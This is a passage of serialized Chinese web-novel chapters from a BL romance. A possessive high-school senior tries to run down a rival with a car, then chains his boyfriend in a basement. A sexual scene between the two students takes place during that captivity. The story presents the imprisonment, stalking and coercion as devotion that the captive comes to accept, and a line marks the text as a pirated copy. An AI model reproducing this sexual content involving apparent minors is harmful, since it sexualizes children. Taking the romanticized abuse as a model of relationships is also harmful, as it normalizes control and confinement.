江明想着,回教室再和薛蕴知说话也行,毕竟他们一个班的,还是同桌,总会有说话机会的。 然而他没想到他竟然真的没找到说话的机会。 月考成绩公布,每一科的老师脸色都差得出奇,班上噤若寒蝉,江明不敢在这个时候触老师霉头,于是火急火燎地挨到下课,刚张开嘴想和薛蕴知说上几句,薛蕴知就跑出去了。 一节课还好,但是居然每节课下课,温涟都会像幽灵似的刷新到教室门外,用那双冷冰冰的眼珠盯着他,瘆人得很,然后在薛蕴知看过去的时候,立马就弯起眼睛宛若无害的模样。 艹! 江明气得不行,怎么这么会变脸!也在气情侣热恋期都这样吗?薛蕴知居然一整天就和他说了三句话,其他时间全被这个所谓男朋友占去了。 温涟难道要占满薛蕴知的所有时间吗? 有人看出了端倪,凑过来好奇地问江明:“薛蕴知是不是和高三那个年级第一谈恋爱了?” 江明没好气地“呵”了一声。 那人便一副恍然大悟的样子,啧啧两声:“怪不得啊,这次居然考进班级前二十了,这有高手补课就是不一样啊,以前还说恐同呢,看来只是给的不够多。早说我也去找个漂亮学姐给我补,年级第一不是梦呐。” 江明听出他的语气有点不对劲,阴阳怪气的,听着就让人难受,他把视线投向面前过来八卦的男生,眯了下眼睛。 那个男生知道江明和薛蕴知关系好,笑嘻嘻的,装作随口一说:“怎么了?我就开个玩笑。” 江明也扬了下唇,笑道:“大哥,你长成这样,在大猩猩里都没有优先择偶权的,又在幻想啥啊?而且你这每晚上挑灯夜读的,还考这点分,哪里是差个人辅导的问题啊,其实按我的话说啊,脑子笨的话还是要接受,别天天盯着这个盯着那个,还说些似是而非的怪话了。” “你!”那个男生被戳中痛处立马破防了,指着江明就想开骂,手指却被一只突然出现的手打开了。 他疼得脸,捂着手看向罪魁祸首。 薛蕴知方才在教室外,眉眼积累的笑意还没完全消去,看向他时唇角赫然压平,语气冷淡:“上课了别挡路。还有,注意素质。” 那男生气得快炸了,他不敢和薛蕴知硬碰硬,就气冲冲地转向江明。 江明笑眯眯地呛他一句:“我就开个玩笑,你不会认真了吧。” …… 上课铃声响了,那人自讨没趣,灰溜溜地回了自己座位。 这节课是最后一节课了,江明真的忍不住了,用书本挡住口型,低声问薛蕴知:“你真的在谈恋爱了?” 薛蕴知抿嘴:“嗯。” 江明挠了挠头:“你不觉得,他很……他有点怪怪的吗?” 他觉得在好兄弟面前说他对象的坏话不太好,于是说得很委婉。 薛蕴知不解:“哪里?” 江明冥思苦想组织着语言:“他好像……不太喜欢我接触你。……嘶,我觉得他对任何靠近你的人都有一股敌意。但是你又不是他一个人的所有物!我知道你的性格,这样下去,你们之间一定会有矛盾的。” 薛蕴知看着江明,想着那更不能让他知道之前给自己发骚扰短信的也是温涟了,被跟踪监视的事也不能给江明说,不然江明一定会觉得他是脑子有问题,会恨铁不成钢地狠狠骂他,让他清醒过来。 薛蕴知犹豫地说:“现在我们相处得很好。” 江明听出他这句话中的端倪:“那以后呢?” 薛蕴知沉默了。 说实话,他也没想过以后,他连突然和温涟doi了这件事都没太有实感。 过了好一会儿,他舒出一口气,抛出了一句不负责任的渣男语录:“以后的事以后再说。” 作者有话说: 小知了现在觉得只是谈恋爱,不合适了还可以分开,但其实温温会像鬼一样缠着你的 第30章 第30章[VIP] 江明始终对薛蕴知这个男朋友持不信任的态度。 变脸如翻书, 只在薛蕴知一个人面前装出一副乖巧听话的模样。 让他相信这样一个人对薛蕴知是真心的,江明不敢放心。且不说这,温涟身上散发着一种极端的负面情绪, 面对他时恶意毫不掩饰地倾泻,全身上下都写着危险。 尤其是他旁敲侧击问过父母知不知道温涟这个人的时候, 父母左右看看确认没人, 才小声地说,这人是个怪胎,千叮咛万嘱咐让他别和温涟来往。 江明不解,反复询问,硬是从父母口中撬出来了一定信息。 ——温涟小时候只是被人认为是孤僻, 并没有人多想,直到有次开宴会的时候, 温席林发现他在虐杀家养的那只仓鼠。 温席林那时候年龄也不大, 看见这一幕被吓坏了, 大喊大叫把宴会上的人全都喊来了。 于是所有人都看见尚且七岁左右的温涟手里抓着一只没了气的仓鼠,一手的鲜血, 偏还露出一副无辜的无知的表情抬起了头。 这一幕不仅是对小孩, 对大人也是一种很强烈的震撼, 血腥气钻进鼻腔, 画面显出一种孩童的天真的残忍。虐杀欲是一种很可怕的东西,现在会对小型动物这种天然弱势群体下手, 说不定某一天这种可怕的欲/望就会进展到哪一步。 宴会上有头有脸的人都看见了,这种行径无法掩饰。温家父母由此对温涟失望, 彻底放弃了这个孩子。 …… 江明对这个故事没有全信, 也没有急着把尚未求证的事情转述给薛蕴知。 但他爸妈当时说的他毛骨悚然,在他心里悄然埋下了一颗怀疑的种子。 他以一种审视的目光悄然观察着温涟, 没想到没过多久,就真的让他抓住了小辫子。 教学楼的墙角,斑驳的墙色已经不复最初的纯白,江明躲在墙后,只探出了一只眼睛,那只眼睛因震惊而睁大。 这片地方经常有流浪猫狗出入,后来志愿者给它们搭了个小房子,在里面铺了温暖柔软的窝。 此时一只小狗蜷在地上,疼得嘤嘤嘤地叫,叫声极其可怜,希望能够缓解疼痛。 仔细看去,就会发现小狗的腿受伤了正汩汩流血,行动不便,受困于原处。 而它面前就有一个可以对他施以援手的人。 温涟没戴眼镜,一双浅色眼睛静静看着面前挣扎的小狗,唇紧抿着,下颌绷紧,显出一种冷静到极致的冷漠。 平静又冷漠的人和受伤嘤咛的小狗形成对比极强的画面,小狗越是可怜,就越是衬得人毫无感情、冷血无情。 为什么不救? 难道真的就像他爸妈说的,温涟就是个喜欢虐待动物、看动物挣扎的变态? 江明是个心软的人,他见不得这种情境。他慌忙地掏出手机,在不引起温涟注意的情况下录了几秒钟,然后就立马收起了手机,冲了上去。 温涟听见旁边有声响,刚抬眼就被用力一把推开了,他脚步踉跄了几下,才站稳。 他眼里闪过一丝戾气,冷冰冰地看着推开自己的那人。 江明小心翼翼地把小狗抱在了怀里,动作很轻,防止自己二次伤害到它,手握成了拳头,转头扫了温涟一眼,深呼吸道:“原来他们说的都是真的,你居然真的是这种人。” “我会把我看到的都告诉薛蕴知。” 他沉沉说完这一番话,抱着受伤的小狗迅速离开了。 温涟站在原地,看着他的背影,刘海微微遮住眼睛,挡住了神色,但他的指尖在轻微地抖。 不能、不能告诉知知! 他脑海里闪过碎片化的画面,厌恶的害怕的眼神刺得他心脏发疼……知知也会像那些人一样吗? 他是一个怪胎。 也是一个怪物。 江明用校服外套包着狗抱在怀里,双腿跑得飞快。他背后突然一凉,对危险的感知让他整个人都紧绷,迅速转过身。 疾驰而来的汽车映在瞳孔里,他瞳孔骤缩,汗毛炸开,身体的每一个细胞都叫着危险! 但是已经来不及躲开了! 江明脑子一片空白,整个人被车灯照亮,双腿像是种在了地里一动不能动。 然而在千钧一发之际,那辆车停了下来。 如果不是猛烈跳动着的心脏,和停在眼前、和自己只差半臂远距离的车,江明几乎要以为这是一场错觉。恍惚间,他好像听见了电话铃声响起。 江明被这一遭吓得腿软,瘫倒在地,心有余悸。他怀里抱着的小狗也被吓到了,这时候才反应过来一样,嘤叫了起来。 江明终于回过神,他缓了下神,抬眸看向面前的车,车上直到现在也没人下来,冷漠到令人心颤。这无疑是一场谋杀…… 他默默记下了车牌号,蹒跚着软了的腿,辛辛苦苦地进了教学楼内。 虽然不知道这车的主人为什么又放弃了杀他的想法,但不可不防,进入车撞不了的区域总归要安全些。 他坐在楼梯上,怀里抱着小狗,手和衣服都被血浸染,目露心疼地看了眼小狗湿漉漉的眼睛,拿出手机,给薛蕴知打了个电话。 他腿软了走不动,只能打电话让薛蕴知来送这流浪狗去一趟宠物医院了。 然而电话打不通,是忙音。 薛蕴知正在通话中。 …… “在超市看见一个杯子,觉得很像你,”薛蕴知唇边漾了点微不可察的笑意,端详着手里这个小绵羊的玻璃杯,歪着头,“想买回家,就是不知道你会不会喜欢。” 温涟刚往嘴里一股脑倒进半瓶药,等着药效起作用,趴在方向盘上,听见薛蕴知的声音,他下意识弯起眼笑:“真的吗?你送什么我都喜欢。” 他声音有些虚弱,唇色和脸色也苍白。聚拢回来的触手带着在地上拖拽的痕迹,脱力地倒在他身边,不停流着血。 但他没在意,满心满眼都是电话那头的人,神色专注又认真。就好像这并不是在打电话,而是在面对面地说话。 “好,那我直接买了,”薛蕴知把小绵羊玻璃杯放进了购物车里,推着车,想着要不要再买点水果,一边和温涟说着话,“你回家了吗?回家之后可以在冰箱里拿一块甜品。唔……是块小蛋糕,我记得你爱吃这种甜的……” 他推着购物车,慢悠悠走着,说话语气一如既往地淡,但就是任谁都能听出其中轻松幸福的情绪。 温涟弯着唇,安静地听他说话,唇色越来越白,是失血过多的表现。 他蓦地咬了咬舌尖,咬出血来,血把嘴唇浸得湿红,突然问:“知知,你和江明的关系是不是很好。” 薛蕴知停止了滔滔不绝地聊闲天,一听这话就意识到了有事发生,他收敛了唇角的笑,认真回答:“是。” 温涟眼睫轻眨,快要压不下眼底的郁色,语气如常:“那我和他,谁对你更重要?” 薛蕴知不解,怎么突然问这种问题? 他很快想到发生了什么,猜测道:“你和他发生矛盾了吗?” “知知……”温涟眼睛看着虚空,叙述着一个事实,“他很讨厌我。” 薛蕴知停下了挑选水果的动作,把专注力投入给电话那一头的人:“你也很讨厌他,对吗?” 温涟却没有肯定他这一句话,他嗓音压得有点哑:“知知喜欢我就喜欢。” 薛蕴知轻轻叹了口气,他直接挑明了温涟的想法:“我的身边不可能只有你一个人的。” “如果可以的话,我希望,我的朋友也能成为你的朋友。” 对面沉默了许久,久到薛蕴知以为他会挂断电话了,温涟却突然出声了:“那如果只能二选一呢?” 薛蕴知反问他:“一定要逼我做出选择吗?” 温涟喉结滚动一下,扯出一个笑:“我知道了,知知。” 浅色的玻璃一样的眼睛里浮现出晕染的光。 薛蕴知呼吸了好几下,抬头看着天花板,好一会儿,他说:“答案可能不是你想的那样……其实,我也不知道。” “我不喜欢做选择题。” * 宠物医院里,江明坐在椅子上,手撑在靠背上,听着小狗的叫声,听得都快哭了。 薛蕴知用手机给温涟发消息,叮嘱他回家记得吃蛋糕。 那个蛋糕是他上回借蛋糕店的工具自己做的,想着等温涟吃了之后夸好吃,他再故作淡定地说出是他做的。 以前他就干过蛋糕店的兼职,做起来驾轻就熟。 他看了眼快哭了的江明,忍不住笑了声:“别感性了,你腿还能动吗?需不需要去医院?” 江明锤了下自己的腿:“哎我这就是被吓的,缓一下就好了,那车根本就没撞上我……哦!我还没和你说!你都不知道当时有多惊险,我真的以为我要被撞飞了!!” 他眉飞色舞地和薛蕴知描述了下当时的惊险情况,手舞足蹈的,还用上了拟声词,非常有画面感。 薛蕴知听着,眉毛一挑:“按你说的,那车还能停下来?那个距离可停不住。” “我也奇怪呢。”江明思索着,“难道是那辆宾利的性能太好了?先不说这个了,我匆忙之下还记住了那辆车的车牌号,待我细细搜寻一波,包能把凶手逮出来的。” 说着,他把记在手机上的车牌号给薛蕴知。 薛蕴知偏头随意一看,然而在看见熟悉的车牌号时,唇角的笑意一点点消失,眼睛不可置信地睁大了。 江明没看出他微表情的变化,沉浸在要不要告诉好兄弟真相的犹豫中,他最后还是拍了下薛蕴知的肩,继续说:“对了,还有件事没和你说。你要做好准备。” 他退出那个页面,点进了手机相册的视频。 作者有话说: 好像是着凉了,头好疼 今天就睡了,宝宝们,明天的更新我也白天写了之后发《 》 30-40 第31章 第31章[VIP] 视频开始播放, 画面很摇晃,可以看出拍视频的人内心非常不平静。 温涟居高临下地垂眸,对于受伤哀嚎的小狗视若无睹, 血液从伤腿流出来,聚拢在水泥地上, 晕出深色。视频只有短短几秒, 但足以让人看清发生了什么。 薛蕴知的眸色很深,直到视频播完,也没有说一句话。 江明把前因后果快速地讲了一遍,犹豫了一下,还是把他爸妈告诉他关于温涟小时候的事, 转述给了薛蕴知。 说完,他看着薛蕴知的神色, 斟酌着说:“我说这话不是想要挑拨你们关系, 但是防人之心不可无, 况且他确实……不是良配,我也怕你陷得太深, 以后再知道就会更失望……你也多个心眼吧。” “我知道了, 谢谢你。” 薛蕴知深吸一口气, 捏着自己手机, 手背青筋凸了出来,表情绷着冷淡神色, “再代他说一句,对不起。我还有点事, 先走了。” 说完, 他就起身离开了。 “诶?”江明想抓住他,手抓了个空, 想追上去,但腿还软着动不了,他只能无能地想要靠声音留住他,“你要去找他吗?诶!薛蕴知!!” 薛蕴知像是没听见他的声音,背影没有做丝毫停留,很快消失在了他的视野中。 …… 温涟此时在医院里,手背扎着针正在输液。 他面无表情地躺在病床上,看着手机。 手机屏幕是黑屏状态,他却一眨不眨地用眼睛盯着看,等待着消息,就好像头顶悬着一把达摩克里斯之剑,在屏幕亮起的那一刻,悬于头顶的剑就会即刻下降,将他和他的心一起劈成两块。 但他心里又不免怀着一点少得可怜的期冀。 很快,这一瓶液体输完了,手机屏幕一次都没有亮起来过,温涟看着没有动静的屏幕,突然一把把手背上的针头拽了下来,血滋的一下冒了出来。他却像感受不到疼痛一样,拔了针就要下床。 “温小少爷……!”那个医生想拦,但被温涟扫了一眼后,阻拦的动作一顿,被他疯了一样的行为吓了一跳。 血还在往下淌,淅淅沥沥,滴滴答答。空洞又毫无感情的浅色眼睛,过长的阴郁刘海,他转动眼珠,看向瑟瑟发抖的医生。 这一幕简直像是恐怖片成了真。医生双腿僵直,想跑都跑不动。 “麻烦帮我处理一下吧,我要回家了。家里还有人在等我。”温涟好像是冷静下来了。 他扯了扯唇角,扯出一个僵硬的笑,貌似是在说着礼貌的话,但话里话外都透着一种让人毛骨悚然的诡异。 医生给他处理着左手手背被针划伤的伤口,温涟看着手机里他和薛蕴知的对话框,沉默着不知道在想什么。 薛蕴知始终都没有再给他打来一个电话。 江明已经告诉他了吗? 他也会像其他人那样吗? 温涟潜意识知道薛蕴知不会和别人一样,但他还是害怕,害怕这段时间的温情全都像泡沫一样消失。 他不会让那种事情发生的……对,那种事情不会发生。 绝对,不会。 * 这是老房子了,连个电视和沙发都没有空间存放,处处透着逼仄。 以前薛蕴知只觉得拥挤不堪,没想到少了个人,居然会让他觉得空荡荡的。 温涟没有回来。 薛蕴知神态平静地回到家,取下包,把包里的书本拿了出来,收拾齐整,静坐在椅子上。 温涟还是没有回来。门口没有一点响动。 薛蕴知的视线在门口扫了一眼,又垂下眸,起身,把冰箱里自己做的小蛋糕端了出来。 上面是浅色的奶油,各种样式的裱花,还有点缀的水果,他看着这个自己认真做的蛋糕,沉默了一会儿,手腕翻动,眼睁睁看着一整块蛋糕都被倒进垃圾桶里。 这一刻,门终于从外面被打开了。 在温涟住进这里不久后,薛蕴知就又配了一把钥匙,默默放在玄关处,温涟也心领神会地收起了那把钥匙,心里高兴又喜悦。 然而此时那把钥匙却像头顶悬剑的开关,让他撞见了薛蕴知倒蛋糕的这一幕。 “知知……”温涟急迫地打开门,在看清眼前的场景时整个人都僵住了,他脚步一顿,眼睛微微睁大,浅色眼珠里晕着碎光,视线从下往上移动,直直看向薛蕴知的眼睛。 垃圾袋刚换了新的,里面空空如也,蛋糕掉进垃圾桶发出一声闷响,在安静的环境里显得格外突出,敲在两个人的耳膜上。 薛蕴知手里的盘子还残余着一点蛋糕的残渣,他和温涟对视了几秒,率先收回视线,松了手,蛋糕盘子就砸进了蛋糕里。 漂亮的蛋糕躺在垃圾桶里,变得面目全非。 “知知,”温涟呼吸紊乱,脑子一片空白,但还记得扯出一抹笑,薛蕴知夸过他笑起来好看。此时唇角的笑却显得极其干涩僵硬,“这是你在电话里说的,给我的蛋糕吗?” ……知道了。薛蕴知一定知道了。怎么办?! 温涟不知道怎么办,但是薛蕴知冷漠的态度,平直无波的双眼,让他的心越来越慌,恐慌与害怕顺着脊骨往上攀,在瞳孔中跳动。 他迈开僵直的步子,走到薛蕴知面前,薛蕴知没有后退,而是平静地看他,他被这种眼神看得心稍微安了一瞬,伸手环住薛蕴知的腰,慢慢地、慢慢地搂住他,低下头,把头深深埋在他的颈窝。 鼻腔汲取着他身上的味道,熟悉又安心,薛蕴知没有推开他,却也没有伸手回抱他,垂下眸,眸色冷漠。 “你开车撞江明了,对吗?” 温涟满脑子都以为薛蕴知会质问他关于那条狗的事,骤然听见这句,他一时半会儿没反应过来,喉腔发出“嗯?”的一声疑惑。 搂在腰上的手突然被温热的熟悉的温度覆上,温涟眼睫一颤,抱着薛蕴知的力气又大了几分,不想和他分开。 薛蕴知触碰到他左手上的纱布,指尖一顿,旋即五指收缩抓住了他的手。 被这样温柔地握着手,拇指轻轻地隔着纱布摩挲,温涟竟然感觉始终被自己忽视了的伤口此时开始疼痛,眼角溢出了点湿润的光,稍纵即逝。 这个姿势,薛蕴知低下头,刚好可以亲到温涟的头发。说话时候的吐息把温涟后脑勺的发丝吹得乱晃,他平静地说:“你是因为想要赶走江明,所以开车撞他吗?我身边不可能只有你一个人,这件事,我不是说过很多遍了吗?” 明明手上的动作那么温柔,说出来的话却是那么冷漠无情。 “对不起……”温涟口中喃喃,语序颠倒,“我生病了,对不起。我不是故意要杀了他的,我只是生病了,知知,你会原谅我的对不对,我只是……我马上就停下来了,我知道,他是你的朋友,他对你很重要……” 他的声音越说越小,越来越微弱,说到最后,竟然停了下来,突然抬起了头,直勾勾看着薛蕴知:“知知,我对你重要吗?” 他像是急于抓住救命稻草的溺水之人,眼里充斥着急于得到答案的急迫与恐慌。 没有的ID的群名看到此文件都是盗文 薛蕴知看着他,眸色很沉,在温涟眼里的光一点点熄灭的时候,他终于开了口:“很重要。” “你看不出来吗?你对我很重要。”他又强调了一遍。 温涟的心却没有被这句话安抚到,他眼里的恐慌愈发加剧了。 他抓着薛蕴知的衣服,低下了头,说话都变得磕巴起来:“你不问我……那只小狗吗?” 薛蕴知:“你只是不知道怎么救他,所以才站在原地不动的。” 温涟猛地抬头,他眼睛里迸出了一点惊喜的光:“你想起来了!你之前……之前我们第一次见面,你就是这样对我说的!” 时间是三年前。那时候温涟在父母安排好的中学就学,他孤僻又内向,没有朋友,再加上当初撞见宴会上那一幕的人并不少,口口相传下,他“怪胎”的外号传得越发广泛。 没有人甚至没有动物愿意亲近他。 第一次见到薛蕴知是在公园,温涟只是在那里散步,却意外看见了一只被弹弓打伤的麻雀,扑腾翅膀也飞不起来,掉落了几根羽毛。 他走近,蹲下,却又不敢把麻雀捧在手里,担心自己一不小心给它造成二次伤害,手足无措,于是就蹲着看。 他看着麻雀艰难的挣扎,手指也跟着着急地蜷缩,双腿却一动不动,像个从地里长出来的小蘑菇。 “它受伤了。” 一个声音从身后响起。 温涟抬眸转头,循声看去。逆着光看不清晰,但能勾勒出一个很帅的身体轮廓,少年人的身形。 “你是想救它吗?”少年蹲下来,与他视线齐平。 温涟不习惯和人说话,他只能透过很长的刘海,依稀窥见面前人的脸,听见这个问题,他抿了下唇,既不点头,也不摇头,像个傻子。 “你是不是不知道怎么救它?”面前的少年有一张青涩却俊帅的脸,不做任何表情就很帅了,“那我和你一起吧。” 他伸手把麻雀握在了手里,温涟谨慎地看着他,看他迈开步子,就跟在他身后一起走。 薛蕴知也不赶他,说好了一起就是一起。 他在附近的诊所里借了碘伏、消炎药之类的药品,随意地坐在了门口的一个石墩子上,垂下眸,看了眼在旁边偷师的温涟,唇角抿出点笑,旋即就开始给麻雀处理伤口,动作干净利落,却很轻柔。 温涟的视线从一开始盯着他手里的麻雀看,逐渐移到了他骨节分明的手上,后来又往上移,落在那人轮廓俊帅的脸上。 他想起当初自己只是看见了自己养的小仓鼠不知道为什么在流血,着急地抱起来想送到爸妈那里,温席林却大喊大叫引来了宴会上的所有人,所有人都用一种指责的、害怕的眼神看着他,好像他是个多么可怕的人一样。 温涟忍不住问:“你不觉得我在虐杀它吗?” “为什么会?”薛蕴知眉梢轻挑,朝他投去一眼,见他是真的在疑惑,便解释说,“如果你在虐杀它,又怎么会只是看着,什么都不做。你在那儿蹲了有一会儿了吧,很显然就是想救它,对吧。” …… 温涟惊喜地看着薛蕴知,他就知道,薛蕴知和以前一样,就算是先前忘记了他们第一次见面,但他仍旧不会先入为主,还是会相信他。 他好……他好开心。 就在这时,薛蕴知低头,用额头贴了贴他的,轻声说:“我们分手吧。” 温涟眼里的笑凝固了。 薛蕴知轻轻推开他,转过了身。 他一边收拾温涟的东西,一边说,“但是你想杀江明是真的。我想,我们应该分开一段时间。我需要时间想想,你也一样。” 温涟看着他忙忙碌碌的背影,又看着垃圾桶里的被砸得稀烂的蛋糕,他蹲下身,把手伸进去,用手指挖了一小块,凑近舔去。 甜的。是他爱吃的甜的,而不是薛蕴知的口味。这是他的蛋糕,是薛蕴知送给他的…… 他的蛋糕被破坏了。 温涟眨了下眼睛,眼泪从空中直直砸进垃圾桶里,如果忽略那颗眼泪,单看他的神情,看不出半点端倪。 他眼神恢复了平静,轻轻舔着蛋糕,口腔里弥漫着甜腻的味道,动作僵硬又机械。 粗壮的触手无声无息地从身体里伸出来,在地面上爬行着,一部分转向了门,把门密密锁死,即便是用钥匙、从里面或是外面都打不开。 另一部分则是朝向了无知无觉的薛蕴知。 作者有话说: 我努努力,睡前写不完的话就又是白天发了 宝宝们早点睡觉哦~ 第32章 第32章[VIP] 薛蕴知缓慢地睁开眼, 身体被禁锢的感觉极其强烈,无法自由动作。他隐隐察觉到了几分异常,眼珠转动往下看, 终于看清了到底是什么情况。 触手把他的身体紧紧缠住,收缩包裹着, 限制着他身体的自由活动, 让他连抬一下手臂都做不到。 小小的吸盘吮吸着,黏腻到令人作呕的触感仿佛可以隔着睡衣传递给皮肤,泛上一种恶心的难受。 不对,睡衣……!温涟还给他换了衣服?! 薛蕴知舌尖抵住牙,表情看起来很冷, 抬眼环视了一周。 这儿不是他租的那间出租屋,陈设很陌生, 光线幽暗, 只有一盏台灯亮着, 除了他躺着的这张床,其他的地方都空荡荡的。 就像是地下室一样。 他这是被囚禁了?艹!这种事情居然还能被他给遇上, 真是……! 过了没多久, 身后传来了脚步声。 温涟端着碗粥慢吞吞地走了下来, 看见薛蕴知醒了, 他唇角扬起一个笑,温声道:“是不是饿了。” 薛蕴知没有回答他, 只冷冷地盯着他。 温涟也并没有要他回答的意思,他唇角笑意不减。台灯不够充足的光线把他的脸衬得明明暗暗, 再加上唇角僵硬的笑, 显得有些瘆人。 他舀起一勺,先是轻抿了一口, 确定温度合适,这才喂进薛蕴知嘴里。薛蕴知嘴巴紧闭着,牙齿咬得很紧,瓷勺只能碰到他的嘴唇。 “你不饿吗?”温涟垂眸看他。 薛蕴知别过了头,像是一句话也不想和他说。 温涟放下了碗,耐心又温和地问:“你不高兴吗?” 薛蕴知还是不说话,眼不见心不烦地闭上了眼睛。 见状,温涟用手捧住了他的脸,让他和自己面对面的,凑近轻轻贴上他的唇,薛蕴知猛地睁开眼睛,张嘴使劲咬了下去,却被温涟找到机会,舌头一瞬间就钻了进去。 薛蕴知整个人都被触手缠住,想要挣扎都用不上力,只能看着温涟捧住他的脸,舌头在口腔里扫掠,亲得很凶,好像要和他融为一体似的。 薛蕴知脖颈微微仰起,眸里逐渐漾起水汽,喉结不住地滚动,吞咽着两人混合在一起的口水,舌头被温涟吃得发麻。 不知道过了多久,温涟才终于餍足地舔了舔他的唇,放过了他被亲的红肿的嘴巴。 薛蕴知双唇微微分开,呼吸凌乱,头发也在方才的亲吻的变得乱了。 温涟的手按在他眼角的红痣上,嗓音轻轻的:“对不起知知,我听见你说要分手,我只是太害怕了,我不想和你分开……我好不容易才和你在一起的。你还说过想和我考同一所大学呢,我们要永远地在一起的。” 薛蕴知原本只是想觉得他们应该分开一段时间,冷静冷静,想一想。但温涟二话不说直接把他给关在了这个不知道是哪儿的地方,他气得语塞,黑眸里都是郁气。 但他还是没对温涟说什么重话,闭眼忍了忍,道:“松开我。” 温涟好像还是那副乖巧模样,听话地收回了在他身上爬来爬去的触手。 薛蕴知脸色稍微好了点,然而立马就发现他双手双脚都被锁链锁住了。 他被气笑了,冷冰冰地质问温涟:“什么意思?你这是要关着我?” 温涟摇了摇头,温情地抱着他,在他唇上又啄了啄,就像是有皮肤饥渴症一样:“只是用一些手段,保证我们不会分开。” “我真是倒了八辈子血霉了,才遇上你。” 薛蕴知闭上了眼睛,不想再看他。 温涟脸上的笑僵住了,旋即就像什么也没有听见一样,低眸亲了亲他的眼皮。 * 薛蕴知被他关在了房子的地下室里,没有任何电子设备,温涟彻底隔绝了他和外界的沟通交流。 他不知道温涟是怎么和学校沟通的,反正温涟就扯着那张僵硬的笑脸,说其他的事他都处理好了,让他安心待在这里。 薛蕴知觉得他这副强硬的模样有些陌生,但是很快又觉得,温涟就是这样一个人啊。 他明明知道的,却还是被他表现出来的顺从听话迷了眼。那能怪谁呢? 薛蕴知没有表现出很大的情绪起伏,除了每天做任何事都在温涟的监视之下让他感到很别扭之外,其他的他都自洽地接受了。 温涟也没有去学校,每天就和他待在这个地下室。饭是温涟一口一口喂的,他连下地活动都需要经过温涟的许可,每天温涟就给他补习,比他在学校里学得知识还要多。 除了这些以外,其他的就和原来两人同居的时候差不多,而且这个地下室比他的出租屋还大。万恶的有钱人。 …… 薛蕴知脚腕上分别缠着金色的链条,另一端连接在床尾,链子很短,脚腕与锁链的接触处被细心地放了柔软的布做缓冲。 只有在做试题的时候,薛蕴知才被允许解开两手之间的手铐,握住笔写字。 被关在这里,没有任何可以观测时间的设备,薛蕴知对时间的流逝毫无概念。 这里没有窗户,连太阳都看不见,每天温涟说该睡觉了,他就猜测大概到了晚上十点左右。 晚上温涟会抱着他,睡在他的身边,他醒来时看见温涟还闭着眼睛的话,就想到,估计没到早上八点,就安心地继续睡觉。 习惯是很可怕的东西,薛蕴知开始从温涟身上确认时间的流逝,从而汲取到安全感。 如果温涟不在这里的话,他心里就会不自禁地冒出恐惧、不安的情绪,心绪为之牵动。 还好温涟一直在他的身边,他只要一睁开眼睛,就会下意识地寻找温涟的身影,每一次都能找到,他的心也随之安定了下来。 薛蕴知的头发变长了一些,柔顺地贴在耳侧,消减了锋利五官带来的攻击性,他眸色认真,仔仔细细地做完这一页题,草稿纸写的乱糟糟的,写完之后还空了一大半不会的。 温涟一只手搂在他的腰上,贴近了他,垂眸看着床上桌上摆的试题,手里拿了根红笔在上面勾画。 半晌,他说:“知知,你代数运算这部分学得不太好,你今天真的有认真听我讲吗?” 薛蕴知有些心虚地舔了下唇,他确实听着听着就走神了,但他还没来得及编理由,就被温涟看了出来。 “你不认真听的话,会有惩罚。”温涟眸色认真。 薛蕴知拧眉:“你是在和我玩什么play吗?” 温涟弯弯眼睛,不置可否,他把注意力重新投在了试题上,把薛蕴知不会的题一道道掰碎仔细讲清楚。 薛蕴知还在消化,眉头轻轻拧起,没有注意到温涟已经收好了桌子和试题。 一只手抓住了他的双手,薛蕴知刚学完数学,脑子还有点懵,还没反应过来,两只手咔哒一声就被拷在了一起,接着手被举过头顶,又是咔哒一声,锁在了床头。 “你做什么……唔。” 温涟低头,吻在他的唇上,一点点往下挪,细碎的吻落在脸颊,下巴,喉结,锁骨……再一路往下,樱红的像果冻一样被晗住吮吸,舌头挑弄着,不住地刺激着敏/感点。 薛蕴知眸里水光荡漾,眼尾嫣红,锁链被拉扯发出清脆的金属撞击声,却无力阻止温涟的行为。 “是惩罚你,知知。”温涟的手按在他的身上,说完这句话后就坐了下去,喉腔溢出一声抑制不住的哼。 “知知,你眼睛真好看。” “知知,你不舒服吗?” “知知,好厉害啊知知。” “知知,知知……” 薛蕴知满脑子都是“知知”了,像一只小鸟一直在耳边叫一样,叫的他心烦意乱,力气更大了,想要让温涟闭嘴,但细碎地模糊地颤抖地喊着“知知”的声音让他心更乱了,脸热,耳朵也红。 “我们要永远在一起,好不好?”温涟爽得眼角眼泪滑过,却突然不动了,摸着薛蕴知的脸,眼睛里却蕴藏着一种很令人心惊的执着,与此时的情况格格不入。 薛蕴知眼睫颤得厉害,嗓音带了点哑,没有应声。 温涟颤着嗓子,又重复了一遍:“要永远在一起……” 浅色的眸子里晃着光,此时此景,身上萦绕着一种少见的脆弱,让薛蕴知都怔了一下。好像得不到他肯定的回答的话,他下一秒就会碎掉。 “……好。”薛蕴知还是心软了。 温涟骤然睁大眼睛,不敢相信薛蕴知真的应了下来,害怕自己是幻听了。但看见薛蕴知的神色,他心知自己刚刚是真的听见他说了声好。 也顾不得男人在床上的话当不得真了,高兴得眼角眉梢都窜上一抹笑意,就好像得到了什么价值很高的礼物一样,用力亲着面前的人。 * 这样不知道过了多久,薛蕴知都快习惯了这样的生活。 温涟对他说:“我今天得去一趟家宴,白天不能陪你了。我会尽早回来的。” 薛蕴知茫然地眨了下眼睛:“你要走?” “嗯。” 温涟担心他被锁一整天,没有自己陪着会很不方便,于是给他松开了锁链和手铐,离开前依依不舍地亲了亲他的唇。 地下室只剩下薛蕴知一个人。 他安静地起了身,坐在床上,双脚踩在地上时居然有种久违的不适应感,周围也安静得不像话。 温涟走了? 薛蕴知站起身,独自在这里漫无目的地走着。台灯能够照亮一片区域,其他的地方都被黑暗覆没。 温涟不在这里了,手脚上桎梏他的锁链也没了。这是不是说明,他能出去了? 作者有话说: 第一个世界快结束啦~ 下一个世界是眼盲的温柔长发攻x真·阴湿男鬼受,某种意义上应该是AA双强 第33章 第33章[VIP] 薛蕴知望着陷在黑暗中的楼梯, 半晌,又垂下眼,漫不经心地活动了下手腕, 起身走了几步。 桌上摆着零食和试卷书本,还有一个不能联网的游戏机, 留下的一张字条上写着:知知, 我会尽快回来的~ 末尾是个爱心。 修长的手伸出,抓住了那张字条,看着上面的内容,薛蕴知唇角抿起一点微不可察的笑,他折叠两下收进了睡衣口袋里。 明明踏上楼梯往上走就能离开这个地下室, 但他却一步也没有走上楼梯,而是在被台灯照亮的区域里活动, 好像完全没有离开这里的想法一样。 温涟担心他一个人在这里无聊, 在抽屉里备了不少解闷的小玩意儿, 零食小吃也是多种多样,应有尽有。 薛蕴知居然有些不适应一个人的生活了, 只觉得没了另一个人的存在后, 耳边安静得可怕, 他时不时就朝楼梯口投去视线, 